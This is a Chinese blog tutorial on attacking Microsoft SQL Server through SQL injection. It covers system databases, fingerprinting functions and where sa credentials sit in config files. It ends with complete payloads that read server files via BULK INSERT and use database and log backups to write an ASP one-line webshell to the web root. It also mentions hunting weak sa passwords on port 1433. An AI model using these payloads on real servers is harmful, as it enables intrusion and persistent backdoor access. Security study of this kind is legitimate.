Sql server注入之库的介绍

Mssql简介

  • Microsoft SQL Sever 分为很多个版本,版本的不断的升级安全性也越来越高,对我们渗透过程中最喜欢的版本应该就是2008以前,在2008及其以后的版本数据库的权限已经不再是system

  • 为了迎合新的版本我以后文章的实验都在2008版本下面进行,同时也介绍以前可以利用的方法,相对于MySQL这个mssql显得重了许多,他众多的功能也给我们注入过程带来了便利, 所以一般数据库为mssql支持多语句我们就考虑是不是应该直接拿下webshell

  • 对于mssql的一个注入点我们往往最关心的这个注入点的权限问题,是sa、db_owner还是public;其次是这个注点是否显错,注释语句是否可用,例如sql server中注释符“–”;还有就是注入点是什么类型的,是字符型注入,还是数字型注入。

Mssql 服务、端口、后缀

安装完后重启服务,使其生效,服务命令: services.msc

cmd命令,查看mssql服务进程端口:netstat -ano

TCP  0.0.0.0:1433   0.0.0.0:0              LISTENING

1433:这是一个很重要的端口,mssql这个数据库是以管理员身份安装在系统服务上的,所以说他有一个管理员账号叫:sa,他的权限相当于我们的系统机权限的,要是这个服务器安装了1433,一定要给sa的账号设置一个强悍点的密码,千万不要设置弱口令,抓鸡也是抓1433的。

数据库文件后缀:cracer.mdf

数据库日志文件后缀:cracer_log.ldf

这两个文件很重要,要注意后缀,copy的话一定要将这两个文件一起copy,停止的话要先分离。

默认库的介绍

  • master //用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操作。

  • model //SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础

  • msdb //由 Enterprise Manager和Agent使用,记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息。

  • tempdb //它为临时表和其他临时工作提供了一个存储区。

这里我们经常要打交道的库也就是master,他储存了我们的所有数据库名等等,还有很多储存过程,所谓储存过程你可以把他理解成一个函数调用的过程。

储存过程是一个可编程的函数,它在数据库中创建并保存。

它可以有SQL语句和一些特殊的控制结构组成。

当希望在不同的应用程序或平台上执行相同的函数,或者封装特定功能时,存储过程是非常有用的。

数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式。

http://note.youdao.com/yws/public/resource/a5a40bfe67fbf34bc109dd7e53eb37a4/xmlnote/020C583F577E4531931659DA1B72F891/3921A9A5E95F4B9885E9B0811E70D0F7/115282

我们以master库为例可以看到上面几个东西,其中视图表master.dbo.sysdatabases储存所有数据库名,其他数据库的视图则储存他本库的表名与列名。

每一个库的试图表都有syscolumns存储着所有的字段,可编程性储存着我们的函数。


基本信息:
@@version 				// 数据库版本
user 					//获取当前数据库用户名
db_name() 				// 当前数据库名 其中db_name(N)可以来遍历其他数据库
;select user 			//查询是否支持多语句
host_name() 			//服务端主机名

mssql的储存过程是我们利用的重点,他天然支持多语句,也为我们注入提供了便利,我们可以通过查看可编程性里面的函数来查找他的功能,发现一些新的东西

字段的介绍

简介:说明数据库sysObjects表中xtype字段值的含义。
sysObjects表它存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。
select top 1 name,xtype from sysobjects;

name xtype sysrscols S

xtype可以是下列对象类型中的一种:

C = CHECK 约束

D = 默认值或 DEFAULT 约束

F = FOREIGN KEY 约束

L = 日志

FN = 标量函数

IF = 内嵌表函数

P = 存储过程

PK = PRIMARY KEY 约束(类型是 K)

RF = 复制筛选存储过程

S = 系统表

TF = 表函数

TR = 触发器

U = 用户表

UQ = UNIQUE 约束(类型是 K)

V = 视图

X = 扩展存储过程

当xtype=‘U’ and status>0代表是用户建立的表,对象名就是表名,对象ID就是表的ID值。
用: select * from misa.dbo.sysobjects where xtype=‘U’ and status>0 就可以列出库misa中所有的用户建立的表名。

SELECT * FROM SYSOBJECTS WHERE PARENT_OBJ = OBJECT_ID( ‘CS’) AND XTYPE=‘TR’
列出表cs的所有属性,上面是trigger!

数据库部分代码语句分析

调用数据库代码

<%
 set conn =server.createobject("adodb.connection")
 conn.open  "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name"
%>

分析
其中,provider后面的不用管,照写;source后面的可以是ip地址(有可能是外网地址,用sa的话可以允许登录外网地址),这里我用的是本地的;sa是内置的用户,它的密码是你在安装的时候设置的;database后面是你要连接的数据库的名称,例:mydatabase(不需扩展名)。
这条语句是找数据库的密码的,在网站找数据库的连接信息的时候,这个代码一般在数据库链接文件上,链接文件如:
asp脚本网站 的:conn.asp 或者在Dbconfig.asp这种带db的或者带config的脚本文件上。
aspx脚本的话有可能在:web.config,这种脚本文件一般会记录数据库的链接,管理员账号,和明文密码的

创建数据库

use asp\_net;

create table admin

(

id int primary key , username varchar(50) null, password varchar(50) null

);

insert into admin(id,username,password) values(1,'admin','admin');

其查询方式与mysql的语法大同小异。

数据库的读写文件

读写前提

1. 需要 SA

2. BULK INSERT 权限.

  • BULK INSERT文件读取:

create table test(
	context ntext
);		建立一个临时表test

///将本地文件pass写test入表中
BULK INSERT test FROM 'c:/pass.txt'
WITH (
   DATAFILETYPE = 'char',
   KEEPNULLS
);		

select * from test;

drop table test;

  • 数据库备份
create table [bin_cmd]([cmd] [image]);

declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to disk=@s;

insert into [bin_cmd](cmd)values('<%execute/**/(request(chr(35)))%>');

declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='E:\bin.asp' backup database @b to disk=@t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];
  • 日志备份
create table [bin_cmd]([cmd] [image]);

declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to disk=@s;

insert into [bin_cmd](cmd)values('<%execute/**/(request(chr(35)))%>');

declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='e:\1.asp' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];

参考链接:
https://blog.csdn.net/yatere/article/details/6418867

https://blog.csdn.net/jackmacro/article/details/6405871

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值